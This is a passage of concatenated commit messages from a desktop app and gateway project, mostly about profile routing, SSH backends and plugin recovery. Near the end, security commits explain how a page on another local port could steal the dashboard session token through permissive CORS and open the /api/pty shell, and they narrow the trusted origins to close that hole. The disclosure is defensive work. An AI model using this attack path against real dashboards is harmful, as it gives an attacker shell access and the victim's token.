Review round 2b P3-2: looks were read once per renderer lifetime and a failed
read was never retried. A failed read now retries on later renders (capped at
three per socket), and a reconnect of the owner's socket re-reads (queued when
a read is still in flight, since that read may predate the reconnect).
Lane hide/remove keys were raw paths, so hiding Studio's /code/app/.worktrees/feat also hid
This device's checkout at the same path. Owner lanes are now keyed by gateway, profile and path;
the window's own lanes keep their existing keys.
A primary started from HERMES_DESKTOP_REMOTE_URL has no registry id, and the aggregate
called it 'local', so a window pinned to another gateway stamped its rows as This device's
and opening one dialled a local backend that does not have it. The primary is only named
'local' when its descriptor is a local backend; otherwise its rows stay untagged, as on main.
Opening a named profile on a registered SSH gateway spawned a second
`hermes --profile <p> serve --isolated` on the remote (its own tunnel, its own
process), so the first click on each SSH profile waited ~3 s for a remote
boot, and the remote ran one serve per profile opened. That per-(connection,
profile) spawn dates from the registry pool's first cut (883b57cbd8), before
the one-serve-per-host ruling; a hover sweep fanning it out across a roster is
what knocked the primary chat over in #89756 (3d9ddb725e stopped hover from
dialing SSH at all).

The remote serve already multiplexes every profile under its home the same
way a URL remote does (REST ?profile=, a host-scoped /api/ws), so a named
profile now rides the connection's default backend as a sharedRemote
descriptor: no remote spawn, one serve per SSH connection. The isolated
per-profile backend stays the fallback for a source pinned to one remote
profile, a remote whose /api/profiles does not list the profile (older
runtime without the endpoint), and a profile already holding its own pooled
backend.
- A roster that answers without the profile now refuses with the same
  remote-profile-missing error the isolated path ends in, instead of
  spawning `hermes --profile X serve` on the remote. A local->SSH switch
  briefly pairs the SSH connection with the previous local profile (the
  version poller reads $apiRequestScope between its two setKey calls); on
  main and on this branch that spawned a doomed remote serve plus its own
  SSH control master on every such switch.
- Only a 404 roster (older runtime) keeps the per-profile isolated
  backend; a timeout or 5xx surfaces instead of pooling an isolated serve.
- Session sources label every pooled SSH backend again and carry the
  profiles the default backend serves, so "All profiles" with a named SSH
  profile active keeps the cross-gateway merge, and an older SSH runtime
  without /api/profiles/sessions still reads each pooled profile.
Review finding: primary SSH reuse drops other gateways from All profiles.
When the SSH connection IS the window's primary, its registry routes reuse
the primary descriptor (and named profiles ride that one remote serve), so
the backend pool holds nothing for it. The session-source collector skipped
the connection, the pinned-source guard failed for box/gamma, and the
aggregate fell back to a Box-only read.

The collector (moved to registry-session-sources.ts) now uses the running
primary descriptor as that connection's default backend, with the profiles
it serves, without starting anything.
A switch from a local profile to an SSH gateway (alpha on this device ->
default on Box) published the ambient REST connection in applyActive before
the profile mirror moved the profile, so for one synchronous step the
request scope was (box, alpha), a pair that does not exist. The version
poller listens to $apiRequestScope and fired in that gap: main dialed a
remote backend for profile alpha on Box (a stray per-profile serve and SSH
control master, "Profile 'alpha' does not exist" in the remote log).

Every writer of the connection half (applyActive, setPrimaryGateway,
setPrimaryGatewayConnectionId) now goes through publishRequestConnection,
which, inside one nanostores batch, moves the profile to the one the route
serves on that connection whenever the connection moves. On the same
connection the profile half stays with the profile mirror, because a
shared-primary socket serves profiles other than its own route's.
useDesktopMetrics paired $activeConnectionId (the connection descriptor,
published after the activation settles) with the active gateway profile
(moved inside applyActive). On a switch from Box back to a local profile
the consent read went out as requestGatewayForAgent(box, alpha) and main
dialed a remote backend for a profile Box does not have. Take both halves
from $apiRequestScope, which now publishes them in one frame.

Live: rig with a local alpha primary and an SSH Box (default/gamma/delta),
3 rounds of alpha <-> Box default. Before this commit the head build still
spawned one conn:box::alpha backend on the way back to alpha; after it, 0.
Review finding (#147797 display auto-push, publication order): applyActive
set $gateway, and so ran its listeners, before the route's profile and
request scope were published. The display-toggle connect push read the new
socket's connection with the previous route's profile and wrote config.set
to box/default on a local/default -> box/gamma switch. Publish socket,
gateway state, request scope and profile in one nanostores batch.
Review finding (#147763, Settings soft re-home still publishes new
gateway/old profile): softSwitch recorded box's connection while the
primary profile was still local's alpha, then awaited the ticket and
connect before adopting box's profile, so the request scope named
box|alpha and the version poller asked box for alpha. Boot had the same
shape. Resolve the primary profile before the record and publish the
connection with it as one pair; adoptPrimaryProfile reuses the lookup.
The pair test now drives the production order (connection, then socket).
Moves the RegistryConfig interface out of store/gateway.ts, unchanged, so the
route-publication fixes do not grow the facade past its ratchet.
With launch mode "last-used" and that gateway down, the window shows This
device while the boot restore keeps dialing (main waits out the remote's
readiness budget). When the gateway came back ~30-50 s later the restore
finished and moved the window there with no user action.

The restore now watches the fleet roster: once it reports the launch target
unreachable, the window has fallen back and the restore gives up its pick.
The kept socket (gateway-persistence) still reconnects the gateway, so its
sessions fill in without moving the window. A reachable but slow target
(connect-on-demand SSH, a cold dial) still lands the launch on it.
The page loaded only the saved primary config, so after picking Homelab (or a
last-used launch onto it) it still showed "Local gateway" selected. It now
shows the registered gateway the window is actually on: its kind, URL or SSH
host. The saved token is offered only when the URL matches the one it was
saved for, so Save never carries one gateway's token to another.
Since #147681 picking a gateway no longer rewrites the saved config, so
the Settings > Gateways connection form edits the primary (startup)
gateway, not "this window". The previous commit seeded the editable form
from the window's gateway, which made Save silently promote that gateway
to primary and blank tokens for other URLs. Drop that seeding (the form
loads and saves the primary exactly as before) and fix the label instead,
in English and all eight overlays.
The roster can report the target down after beforeActivate already ran;
the activation then kept dialing and published the target when it
recovered. Abandoning a pick now aborts its activation and points a draft
it already re-homed back at the gateway still in front.
Review finding "Cached fleet failure cancels valid same-gateway profile
repair": the launch-fallback watch in restoreConnection also armed for the
startup profile re-home on the gateway already in front, so a fleet-roster
row still saying reachable:false from an earlier timed-out read abandoned a
repair whose own /api/profiles and /api/status reads had just succeeded, and
the window stayed on a profile that gateway does not serve.

The "target reported down -> the window fell back" rule only means something
for a restore that moves the window to another gateway; a restore onto the
gateway already in front never arms it.
The status-bar approval-mode chip read `approvals.mode` through
requestGatewayForProfile(activeProfile). A bare profile name has no
gateway, so that call resolves through this machine's profile pool: on a
profile served only by a remote or SSH gateway (`marina` on Homelab,
`gamma` on Box) the renderer asked main for the profile-only route and
main tried to start a LOCAL backend for it, refused with
`Profile "gamma" no longer exists` — twice per switch (shared-primary
probe + secondary dial), dozens of lines per session.

Route the chip and the plugin-catalog lookup (same active-route shape)
through the active (connection, profile) pair, and re-read the mode when
the active socket changes, so `default` on Box and `default` on This
device are not treated as one route.
setVoiceChatMode (voice-live.ts) and the display-toggle mirror
(display-toggles.ts) sent `config.set` through
requestGatewayForProfile(activeProfile), the same bare-name route the
approval-mode chip used. On a profile served only by a remote or SSH
gateway (`gamma` on Box) that name resolves through this machine's
profile pool: main refuses it (`Profile "gamma" no longer exists`) and
the write is lost, or, when This device has a profile of the same name
(`default`), the write lands in This device's config.yaml instead of the
remote one.

Route both through requestGatewayForActiveRoute, the (connection,
profile) helper the chip uses.

Tests: voice-live.test.ts and display-toggles.test.ts only move the
assertion about which call is made (requestGatewayForProfile ->
requestGatewayForAgent with the active connection); the written key,
value and target profile are asserted unchanged. New
active-route-config-writes.test.ts drives the real gateway store on a
remote-only profile (red on d53e317e30c).
CI red at tutorial-lifetime.test.tsx:75: display-toggles now routes config.set
through requestGatewayForAgent(activeGatewayConnectionId(), ...), which the
mock did not define. Harness only; assertions unchanged.
Review finding (#147797, display auto-push writes to the new gateway's OLD
profile): the connect-time push runs inside the $gateway notification, which
applyActive fires before it publishes the route's profile. Pairing
activeGatewayConnectionId() with that still-old profile sent config.set
display.in_app_tips to box/default on a local/default -> box/gamma switch.
Read both halves from the registry (activeGatewayRoute).
Moves the Secondary interface out of store/gateway.ts, unchanged, so the
active-route reader does not grow the facade past its ratchet.
With one backend per SSH machine (#147741), box/gamma's socket is box's default serve, and an
unscoped config.set edits that serve's launch profile: the live E2E saw Tips off land in
Box's default config.yaml, not gamma's. Both writes now carry the profile in the params, the
same way the approval chip already scopes its config.get/set.
With launch mode "last used" on a gateway other than the one main opens
first, the window paints on This device and the launch restore
(restorePreferredConnection -> restoreConnection(preferredId)) dials the
saved gateway in the background. That restore does not yield (only the
startup profile re-home does, #147711), so a stored chat the person opened
right as the window painted was closed when the restore landed seconds
later and the window jumped to a blank draft on the other gateway.

openSession, the one door every surface opens a chat through, now bumps a
user-open revision (store/session-open-intent). The launch restores carry
the revision captured when boot began and give way once it moves. Route
effects that select a chat on their own (the cold-start route resume,
runtime recovery) never bump it, so those restores still land as on main.
Review finding "A user click before registry initialization is still
erased": initializeConnectionsRegistry read the user-open revision as its
baseline when it ran, which waits for boot.running=false, while the
connecting overlay lifts at the socket open and config keeps loading. A
sidebar row clicked in that gap bumped the revision before the baseline was
read, so the restore saw it unchanged and closed the chat.

The launch restores now compare against the revision at window start
(LAUNCH_USER_SESSION_OPEN, 0 by construction: module load precedes any
input). Automatic selections still never bump it, so the cold-start route
resume keeps landing as before.
The launch-restore tests bumped the counter directly, so dropping the call in openSession
left them green. This drives the real door the sidebar uses.
Keeps initializeConnectionsRegistry under main's complexity cap after the rebase.
makeDashboardReadyFile and recentHermesLog lost their last callers in
9c40ddcfc2 (local launches attach to the canonical gateway); nothing
references either. Removing them also keeps main.ts under its
code-health line cap for the next change.
Electron userData (active-profile.json) outlives HERMES_HOME. After a
reinstall that wiped the Hermes home, or a `hermes profile delete` while
the app was closed, Desktop still launched `hermes --profile <name>
gateway ensure`, which refuses a missing profile, so every boot and
every Retry failed with "Profile '<name>' does not exist".

Before the first profile read at startup, apply what an in-app delete
already does: a remembered last-used profile whose directory is absent
from this machine's profiles root falls back to default, and a matching
explicit default route is cleared. Remote, SSH and cloud routes are not
judged by the local disk, and a profile named with --profile at launch
still fails loudly, like `hermes -p`.
Electron main pinned a remote primary to the machine-local legacy profile
from active-profile.json, so every legacy-scoped REST call (the update
check included) asked the remote for a profile it does not serve and 404'd,
and the renderer adopted that stale name as the primary's profile.

On a remote primary whose authoritative /api/profiles listing lacks the
inherited name, main now picks with the renderer's startupProfileForConnection
ladder: that connection's own remembered profile when served, else
default, else the first listed. A failed, empty or partial roster read keeps
the old behaviour. The machine-local preference is no longer rewritten for a
remote that lacks it.

Main boots before any window exists, so the renderer mirrors its
per-connection last-profile record to active-profile.json
(connectionProfiles), pruned with the connection. ensureBackend re-reads the
pin after joining an in-flight boot, so a dial made during the roster read
reports the re-pinned profile instead of the stale one.

Also adapts the missing-local-profile check to main, where the old
directoryExists helper no longer exists.
Subscribing at module load touched window in node-env suites (canonical-group-send)
and pushed a window's empty record over main's copy at boot.
Review findings "In-flight dials keep stale profiles" and "Retries skip
profile recovery". hermes:connection fills an empty request with the
primary's name before ensureBackend/startHermes see it, so the resolved name
could not tell an inherited caller from one that named a profile:

- a renderer joining a remote boot during its /api/profiles read got the
  stale name back, because the route (descriptorProfile) was resolved before
  the wait;
- a renderer retry after a failed remote health check reached
  startHermes(key) with a truthy requestedProfile, which disabled the
  served-profile restore.

Carry the intent (primaryBootRequest.inheritsPrimary) from hermes:connection
and the terminal backend through ensureBackend into startHermes. An inherited
caller re-reads the primary and rebuilds its route after the wait and may be
restored; an explicitly requested profile keeps its name and route.
Inherited and explicit dials of one name no longer share a dial claim.
Review finding "Windows overwrite saved profile choices". Every window pushed
its whole $lastProfileByConnection copy and main replaced its map wholesale,
but windows never see each other's picks: an older window changing an
unrelated gateway erased newer choices and resurrected an entry
connectionRemoved had just pruned.

Main now owns the map. A window reports only the (connection, profile)
entries it changed (hermes:profile:connections:remember), and imports its
pre-mirror record once (hermes:profile:connections:import: fills only
connections main has no entry for, then latches). Both ignore connections
that are no longer registered.
Review finding "Installed does not mean served". /api/profiles lists every
INSTALLED profile, parked (gateway.parked) and standalone ones included,
while profiles_to_serve excludes them and a gateway-hosted listener refuses
their session calls with profile_mismatch. A remembered parked profile was
picked by the ladder, and a parked inherited name was kept.

Read the gateway's served set from /api/status gateway_shared_with (the
multiplexer's served_profiles; [] = a single-profile gateway serving only the
host's default) and filter both the inherited name and every ladder rung by
it. The same field and rule back the webapp's served-profile set
(src/lib/browser-served-profiles.ts). Unknown (null: no gateway running, an
older backend, a failed or signed-out read) keeps the installed list, as
before.
Keeps main.ts under its FILE_LINES cap after the profile-intent fixes: the
shared-primary descriptor (and its rationale) moves into joinPrimaryBoot, the
dial-claim suffix into primaryDialClaimKey, and the profile preference IPC
handlers into registerDesktopProfilePreferenceIpc. No behaviour change.
The module-level bridge call broke node-env suites that import the
connections store (canonical-group-send), as the earlier whole-map push did.
Review finding (#147718): an inactive profiles.default={mode:'local',savedSsh}
entry suppressed the remembered-profile repair even though the primary's
effective route was the global remote. Gate on profileHasRemoteConnection
(the same per-profile rungs resolveDesktopRemoteRoute selects), not on the
entry's truthiness.
Review finding (#147718): the boot repair accepted any directory under
profiles/, so a tombstoned or marker-less profile stayed remembered and every
launch still failed. Port hermes_constants.named_profile_is_live (identity
marker, dangling symlinked marker counts, no profiles/.deleted tombstone) into
local-profile-liveness.ts and use it for the check.
Re-review P3 (ELOOP divergence in the liveness port): one outer try/catch
made a symlink loop on any marker or on the tombstone path forget the whole
profile, while hermes_constants.named_profile_is_live (os.path predicates on
the shipped Python 3.14) reads that one path as absent and keeps checking.
/api/status gateway_shared_with is [] on a single-profile gateway: it serves only the profile it
was launched as, which the list does not name. Treating that as {default} switched a window on a
gateway launched as 'work' onto 'default', which that gateway refuses (profile_mismatch). A
non-empty list already names the launch profile, so it is used as-is; [] is unknown, like null.
test_catalog_models_are_offered_only_by_openrouter called list_models() with
the network open, so it compared _IMAGE_API_MODELS against OpenRouter's live
/images/models. OpenRouter renamed x-ai/grok-imagine-image-quality to
x-ai/grok-imagine-image-2.0 and main went red on every PR. Refuse the network
inside the check so it verifies the offline tables' contract (OpenRouter offers
every Image API model, Nous Portal none) deterministically.
The "∴ Thought for Ns" line that closes a reasoning block appended the
reasoning's first bold heading, or — with no heading — its first sentence.
Models whose reasoning has no headings (e.g. Claude) therefore got their
opening sentence printed twice: once in the reasoning body streamed above the
line, and again as the summary's title. Drop the title entirely; the reasoning
is already shown in full right above, so the summary is just the duration.

Removes the now-dead _full_title/thought_title/_TITLE_MAX helpers and the
write-only _reasoning_full_text buffer in the stream mixin.
OpenRouter's Image API catalog (GET /api/v1/images/models) no longer lists
x-ai/grok-imagine-image-quality; it lists x-ai/grok-imagine-image-2.0. Swap
the curated _IMAGE_API_MODELS row, with every knob taken from the live
catalog entry: the same 14 aspect ratios, 1K/2K, n=1, 3 references, plus a
quality enum (low|medium) the old row never declared.

The direct xAI backend keeps grok-imagine-image-quality: xAI's authed
/v1/image-generation-models still serves it.
The published June Hermes-Setup.dmg updater writes the update marker with its
own PID and runs the v2026.7.30 checkout's `hermes update`, whose update lock
only recognises its orchestrator via HERMES_UPDATE_HANDOFF_PID (which the June
binary predates). The pre-pull CLI refuses with "Another Hermes update is
already running" and both desktop-installer@latest in-app legs from that tag
fail deterministically. The refusal runs in released code, so the update
target cannot fix it.

Extend the known-failures mechanism to macOS:
- rules carry `platforms` (default windows; existing rules unchanged)
- classifyWorkRoot reads the macOS harness layout (shas.env, home/.hermes)
- macos-desktop-e2e.sh rotates bootstrap-installer.log before the update,
  collects HERMES_HOME/logs on failure, and only a full rule match (commit,
  method pair, exact assertion, both fresh log signatures) yields a receipt
- install-e2e-macos-run.yml uploads the receipt as install-e2e-known-<id>--<leg>
- KNOWN_FAILURES.md documents the case with verified failing jobs
A multiplexed secondary profile whose `_create_adapter()` returned None during its
startup sweep was skipped for the life of the process: the per-profile start treats a
None adapter as terminal, and the reconcile pass then records that profile's serve
signature as settled, so nothing re-scanned it until its `config.yaml`/`.env` changed.
The launch profile heals exactly this state through the reconnect queue plus
`rearm_failed_platform()`, a lane the secondary never reached.

Classify the None with the existing `_adapter_may_heal` gate and park a reconnect slot
for the platforms that can still heal — an unregistered plugin whose load failed or
overran its deadline (the registry forgets it, so it is not registered at create time).
The queued entry is the claim the runtime re-scan defers to, so the platform is never
built twice. A config-shaped None (credential-less, builtin probe failure, registered
plugin still returning None) stays a plain skip: retrying it would only re-warn at the
backoff cap.

`_secondary_reconnect_attempt` reports that healable None as (None, False) instead of
(None, None), so the reconnect loop keeps its slot, re-arms the failed plugin load
(capped by `_MAX_PLUGIN_LOAD_REARMS`, like the primary queue's `adapter_unavailable`
branch) and backs off, rather than dropping the platform on the first attempt. The
create site now also names the reason instead of returning None in silence.

Refs #137268


[Salvage of #137404: squashes the PR's three commits (this fix, a test-fixture follow-up and the move of the
two secondary scheduling methods into gateway/run_adapters_recovery.py). The two follow-ups were authored
as an identity with no GitHub account, so they ride in this commit under the PR author.]
The salvaged fix moved only the two scheduling methods into
gateway/run_adapters_recovery.py and added two free functions there that took the runner
as an argument, while the attempt and the retry loop stayed in run_adapters.py. The two
files imported each other's names and the new module had to late-import the re-arm cap
back from run_adapters.

Move the rest of the lane (_secondary_reconnect_attempt, _run_secondary_profile_reconnect)
into the same module as GatewaySecondaryReconnectMixin, and turn the free functions into
methods:

- _rearm_failed_plugin_load(platform, info) is now the one capped re-arm both reconnect
  lanes call; the launch watcher's inline copy uses it. The caller's runtime scope picks
  the plugin manager, so the secondary loop calls it inside the scope it already enters
  each tick for the attention flag, instead of resolving the profile home a second time.
- The startup sweep classifies a None adapter inside the profile scope it already holds
  for _create_adapter, and _note_unbuilt_secondary_platform queues it. That drops the
  second scope entry.
- _adapter_unavailable_message and _MAX_PLUGIN_LOAD_REARMS live with the lane;
  run_adapters imports the message helper (run_startup imports it from there).
- The TYPE_CHECKING import of BasePlatformAdapter becomes a real import: there is no
  cycle (run_adapters already imports it at runtime).

No intended behaviour change: same classification, same scopes, same cap. Small
differences: the secondary re-arm runs on the runner's executor (as the launch watcher's
does) instead of asyncio.to_thread, and after the loop's _running check instead of before
it; a _create_adapter that raised is no longer classified (the unregistered-plugin case
returns None without raising, so that call could never queue anything). A re-arm failure
is still logged at DEBUG and retried on the next tick (the log format now has a slot for
the exception text it appends). run_adapters.py drops to about 1800 lines.
The never-built path that the previous commits add to the secondary reconnect lane
(#137268) lacked three things the launch profile's lane has. Fixing the first one also
changes how every secondary claims its bot while it is not connected (boot, fatal
teardown, queued reconnect, hot-add), not only the never-built one.

- Ownership. A platform queued without an adapter never reached the startup
  duplicate-credential / duplicate-listener check, and the reconnect lane had none, so
  when its plugin finally loaded the adapter connected even when another served profile
  already polled the same bot token (measured: the startup sweep refuses that adapter,
  the healed path installed it as a second poller). It was also never recorded in
  _profile_bot_platforms, which cron, the delivery drain and authz read to decide that
  the profile owns a bot. The startup check moves into _claim_secondary_platform, and
  the attempt runs it before connect() whenever it has no predecessor (exactly the
  never-built case). A refused adapter is parked fatal (duplicate_credential) and not
  disconnected, as at startup. A secondary that owns a bot but is not in
  _profile_adapters now holds its claims (_hold_secondary_claims): across its initial
  connect await, from a failed connect in the boot sweep, across a fatal teardown's
  disconnect await, while queued to reconnect (re-held each tick with what the rebuilt
  adapter claims, so a changed token does not keep the old one reserved), and from a
  healing attempt's check (no await in between). A task-owned hold is released by a done
  callback, so it goes however the task ends, including a reconnect cancelled before it
  ever ran; a connect or teardown hold is owned by its adapter and released by its own
  finally, so it never releases a newer hold on the same platform. A heal and the
  profile sweep check against held claims plus, once the gateway is live, owners as of
  the check (_current_claim_owners): the runtime caller's snapshot predates the sweep's
  awaits, so an adapter that healed meanwhile is seen as it is now. A heal skips only
  its own hold, and a re-scan does not rebuild a platform its own profile holds
  (mid-teardown or awaiting the boot handoff: its own reconnect rebuilds it, or none
  does because the error was not retryable). Two profiles healing one bot at once, a
  heal racing another profile's connect, queued reconnect or teardown, a later profile
  in the boot sweep, or a hot-added profile no longer end up as two pollers on one bot
  (probes showed each; the boot-sweep and hot-add cases were already possible on main
  through a connect-failed secondary). Unserve keeps the profile's adapters in its map
  (live owners of their bots) while it awaits its reconnects' cancellation, marking the
  profile as retiring so nothing finishing meanwhile (a fatal teardown, a startup
  handoff) queues another reconnect (if that unserve is then cancelled, such a platform
  stays down; only shutdown cancels an unserve); after the wait unserve pops the map and
  holds each adapter's bot until that adapter is torn down, and drops all of the
  profile's holds once teardown ends: a fatal teardown finishing after a re-serve does
  not block the new one, and a connect or teardown hold owned by its adapter cannot drop
  the new serve's hold. The exception: a fatal teardown still disconnecting when its
  profile's unserve ends loses its hold then, so its bot is claimable for the rest of
  that disconnect. A boot bridge still waiting for startup hands nothing over once its
  profile was unserved or served again. A never-built platform that gives up for good
  (disabled, credential removed, refused, no longer healable, or a non-retryable fatal
  on connect) drops the bot ownership an earlier tick recorded.
- Event loop. A re-armed plugin is imported on the next registry lookup, and that lookup
  ran inside _create_adapter on the event loop, for up to the plugin load deadline (10 s
  by default; a 0.25 s import stalled the loop 272 ms in a probe). The attempt now
  resolves the registry entry first through _run_in_executor_with_context, in the
  profile's scope, as the launch watcher does.
- Status and logs. The secondary path stamped no <profile>:<platform> runtime status for
  an unbuilt platform, so hermes status showed nothing for it. A new
  _mark_adapter_unavailable stamps adapter_unavailable (retrying when the plugin can
  still load, fatal when only a config change helps) with the launch profile's hint; the
  launch startup stamp and the watcher's give-up stamp use it too instead of their own
  copies (the watcher's per-tick stamp stays in _bump_reconnect_backoff). The tick on
  which the attention flag fires (_flag_reconnect_needs_attention now returns whether it
  did) re-stamps it, since the flag rewrites the entry without an error code. A
  never-built platform that gives up because it was disabled or lost its credential is
  stamped disabled with that reason, so status stops promising a retry. Startup logs one
  line naming the case (the healable one asks "is the plugin installed?", since an
  uninstalled plugin lands there too), and a retry tick that still finds no adapter logs
  at INFO instead of a WARNING every backoff.
- The startup site keeps creating and classifying in one profile scope, now with a plain
  try/except around the create (commit 2 suppressed the create error and checked a
  tri-state, which also swallowed an _adapter_may_heal error under the create error's
  log line). A raise is still logged and skipped, now from inside the profile's scope,
  so the line lands in that profile's log; and the line no longer has a format slot
  without an argument (a bug already on main that printed a logging error instead of the
  message). An _adapter_may_heal error now propagates like any other error in the
  profile's startup, which its callers already retry. run_startup no longer imports the
  message helper commit 2 moved, since the shared stamp replaces its use there.

Unchanged, as on main: a reconnect with a predecessor is not re-checked against other
owners (its hold keeps others out of the bot it holds), a runtime sweep still merges its
caller's pre-await snapshot (so an owner that let go mid-sweep can still refuse), and
create_adapter's dependency probe still runs on the loop.

Tests: one test drives startup and a reconnect tick with a scope that records the
profile home, where only the launch profile holds a registration; it fails if the
classification or the re-arm leave the secondary's scope, or the registry load runs on
the loop. One heals a never-built platform with and without another profile owning its
token. Holds: two profiles healing at once and a retry not refused by its own hold; a
queued reconnect seen by heals and admission, and released when cancelled before it ran;
a rebuilt adapter's token re-held; a fatal teardown with and without an unserve during
it, including the own re-scan skip; an unserve while it tears down, with the teardown
finishing during the unserve and during a re-serve's connect, each adapter, one a
reconnect installed as it was cancelled included, holding its bot until its own
teardown; an unserve cancelled mid-wait, which leaves the profile served; and the
scheduler refusing a retiring profile whoever asks; runtime admission against a stale
snapshot and its hold across connect; the boot sweep, a shutdown before the handoff and
a bridge whose profile was unserved, or unserved and served again, before its handoff.
Status: the startup stamp for both cases, the one re-stamp when the attention flag fires
over two ticks, and the give-up (disabled, removed credential, refused, non-retryable
fatal) dropping ownership, with the reason stamped for the config cases (a fatal adapter
stamps its own). Claims never raise, since unserve and a fatal teardown compute them
after the adapter left the map: the credential fingerprint encodes with surrogatepass (a
token holding a lone surrogate raised UnicodeEncodeError; valid tokens hash as before)
and the listener claim treats a non-finite port as no claim (OverflowError was
uncaught); tested in TestCredentialFingerprint. Each guard was mutation-checked (33).
The never-built recovery and claim-hold tests (the salvaged commit's and these) move to
tests/gateway/test_multiplex_unbuilt_secondary_recovery.py, keeping
test_multiplex_adapter_registry.py under the 2000-line ratchet; they reuse its recovery
runner helpers. The salvaged PR's shared-listener test is dropped: it passes on main,
because api_server under multiplex is skipped before an adapter is ever created, so it
never reaches this code.
Signed-off-by: mnajafian-nv <mnajafian@nvidia.com>
Any page served from another local port could steal the dashboard
session token and open /api/pty — a full shell.

- CORS used allow_origin_regex ^https?://(localhost|127\.0\.0\.1)(:\d+)?$,
  i.e. every port. CORS wraps the SPA catch-all too, so a fetch of `/`
  from http://localhost:3000 (or Live Server :5500, a previewed
  agent-built site, a compromised local dev app) got
  Access-Control-Allow-Origin reflected and could read index.html's
  window.__HERMES_SESSION_TOKEN__. The ?token= download route was
  readable the same way.
- WebSocket upgrades skip preflight, and _ws_host_origin_reason checked
  the Origin through _is_accepted_host, which drops the port and accepts
  any loopback alias. So ws://127.0.0.1:9119/api/pty?token=<stolen>
  from Origin http://localhost:3000 passed the gate.

The docs (web-dashboard.md § CORS) already promise a fixed list: 9119,
3000, 5173 and the configured port. Both gates now trust exactly that —
plus the desktop renderer's strictPort dev/preview servers (5174/4174)
— via one _is_trusted_local_origin(). Non-web origins (packaged
Electron file://) are unaffected; trusted public hosts keep their
existing exact-host rule.

(cherry picked from commit 8a5f1dcee82e2a020b72d7bd7e9b5a0e6f11f390)
(cherry picked from commit 9dad5f4cd0988ad60ae4883541b68efb9092bb1a)
The fixed loopback-port allowlist refused every documented hgui slot
past 0: worktree-ui-dev.md runs slot N's renderer on 5174+N. That
renderer talks to its backend directly, so slot 1 (:5175) got no CORS
grant and a 4403 on its WebSocket upgrades.

Electron hands its HERMES_DESKTOP_DEV_SERVER down to the backend it
spawns: profileBackendParentEnv copies process.env. So
_is_trusted_local_origin now also trusts that exact origin when it is
loopback. Any other loopback port is still refused, including another
slot's renderer. The CORS middleware and the WebSocket Origin gate
share this check, so both honour it. No new setting: the variable
already exists and is documented.

(cherry picked from commit fb08ccb4ef9a130469fc0d203917fcc0e5e200ef)
(cherry picked from commit d921624b8339f693067dec1495fd6afe38ad4093)
HTTP middleware (the Host check, CORS) never runs for a WebSocket
upgrade, so every core socket calls _ws_request_is_allowed() before
accept. Plugin sockets did not: the kanban plugin's
WS /api/plugins/kanban/events only checked the credential, so a session
token read by a page on another local port, a remote site or a
DNS-rebinding host still opened it.

_mount_plugin_api_routes() now attaches _plugin_ws_request_gate to every
plugin router, next to the secret-scope dependency. For a WebSocket it
runs the same _ws_request_is_allowed() check as the core routes (Host,
Origin via _is_trusted_local_origin(), loopback peer) and closes with
4403; plain HTTP requests pass through. The gate sits on the mount, so a
plugin cannot skip it or drift from the core rule.

(cherry picked from commit 25418b7ea4e5444b2bcec0baf7ed49452a9ee23f)
_TRUSTED_LOCAL_ORIGIN_PORTS kept :3000 because web-dashboard.md listed
it, but nothing in the repo serves the dashboard or the desktop renderer
there. It is the default port of many local web apps and dev servers,
and it is the origin used in the original report: with :3000 trusted, a
page on http://localhost:3000 still got the CORS grant on `/` (the
session token) and on /api/files/download?token=, and still passed the
WebSocket Origin gate.

Drop :3000 from the trusted ports and from the documented list. The
dashboard's own origins (the bound port, :9119, the Vite dev server
:5173, the desktop renderer's :5174/:4174 and HERMES_DESKTOP_DEV_SERVER)
are unchanged.

(cherry picked from commit 0fc889ab9b1826c5062eb88959f96099258ab056)
The loopback-origin CORS fix covers every route, but only /api/status
was pinned. Assert that a page on another local port gets no
Access-Control-Allow-Origin on the surfaces it would use: `/` (the
session token), /api/files/download?token= (files under $HOME),
/api/status, /openapi.json, /docs and /redoc. The dashboard's own origin
still gets the grant, so the check cannot pass vacuously.

(cherry picked from commit fd0055c4fe4169185a2ad7b5c88c746e9185b975)
A dev renderer is served from HERMES_DESKTOP_DEV_SERVER, so its sockets carry
that http origin. A backend trusts it only when it inherited the variable
(the locally spawned child does), and the dashboard is about to stop trusting
fixed dev-server ports. Two paths reached a backend without it:

- Attach: a dev build attaches to the host's running backend (a packaged
  app's, `hermes dashboard`, another hgui slot). The attach probe now sends the
  renderer's Origin, so a backend that would refuse the renderer's sockets is
  skipped and the dev build spawns its own, instead of attaching and failing
  every renderer socket.
- SSH: the `hermes serve` a dev build starts over SSH now gets
  HERMES_DESKTOP_DEV_SERVER in its environment, as a local child inherits it.

Packaged builds (file:// renderer, no dev server) are unchanged.

(cherry picked from commit 57c532175efd9d9747d21869361a7aba9b875683)
_TRUSTED_LOCAL_ORIGIN_PORTS (9119, 5173, 5174, 4174) was trusted on every
backend, including packaged Desktop backends on an ephemeral port. A Vite app
on 5173, or on 5174 when 5173 is taken, could still read the session token
from / and open /api/ws. _is_trusted_local_origin() now accepts only the bound
port and the desktop dev renderer this backend was spawned for
(HERMES_DESKTOP_DEV_SERVER). `hermes dashboard` keeps working on 9119 because
that is its bound port.

The dashboard's Vite dev server was the only client that relied on a fixed
port: the browser's Origin on proxied /api upgrades is Vite's. The /api proxy
now presents upgrades from Vite's own page (Origin host equals Host) with the
backend's origin, and passes every other Origin through for the backend to
refuse, so it does not launder foreign pages the way Vite's rewriteWsOrigin
would. Vite's default CORS grants every localhost port and would hand another
local page the token hermesDevToken() injects into index.html, so it is off.

(cherry picked from commit 66de028a3ce39ec49a32205855dc269d30bf3942)
The Origin gate now trusts a loopback origin only on the bound port or
the desktop dev renderer. A dashboard reached through a port forward
(ssh -L 8000:localhost:9119, docker -p 8080:9119) sends an Origin on the
forwarded port, so its own page could no longer open /api/ws or
/api/pty, and a Webapp tab dialling back in during a restart wait was
refused (tests/gateway/test_restart_wait_prompt_reach.py).

An Origin whose authority equals the upgrade's Host header is that
server's own page: same-origin by definition. A page on another port
cannot make the two match, and the Host check before it still stops DNS
rebinding. The Vite dev-proxy case without the Origin rewrite is now
admitted for the same reason; a different host on the same port is not.
The preflight tests sent Origin http://localhost:3000 and expected a
grant, which only held while every local port was trusted. The fixture
now binds the app to 127.0.0.1:8092 with no desktop dev renderer, the
allow case uses the bound port under another loopback name, and a new
case pins that a page on another local port gets no grant.
The CORS section described the desktop attaching to the host's running
backend only when it accepted the renderer origin. main no longer has
that attach flow: a local Desktop reaches the gateway through
`hermes gateway ensure`. Describe what a dev build does now, and that a
dashboard reached through a port forward still opens its own sockets.
remote-lifecycle.test.ts and main.ts are over the code-health size cap
and may only shrink. The real-sh spawn test for the dev renderer origin
now lives in remote-lifecycle-dev-server.test.ts, and waits on a FIFO
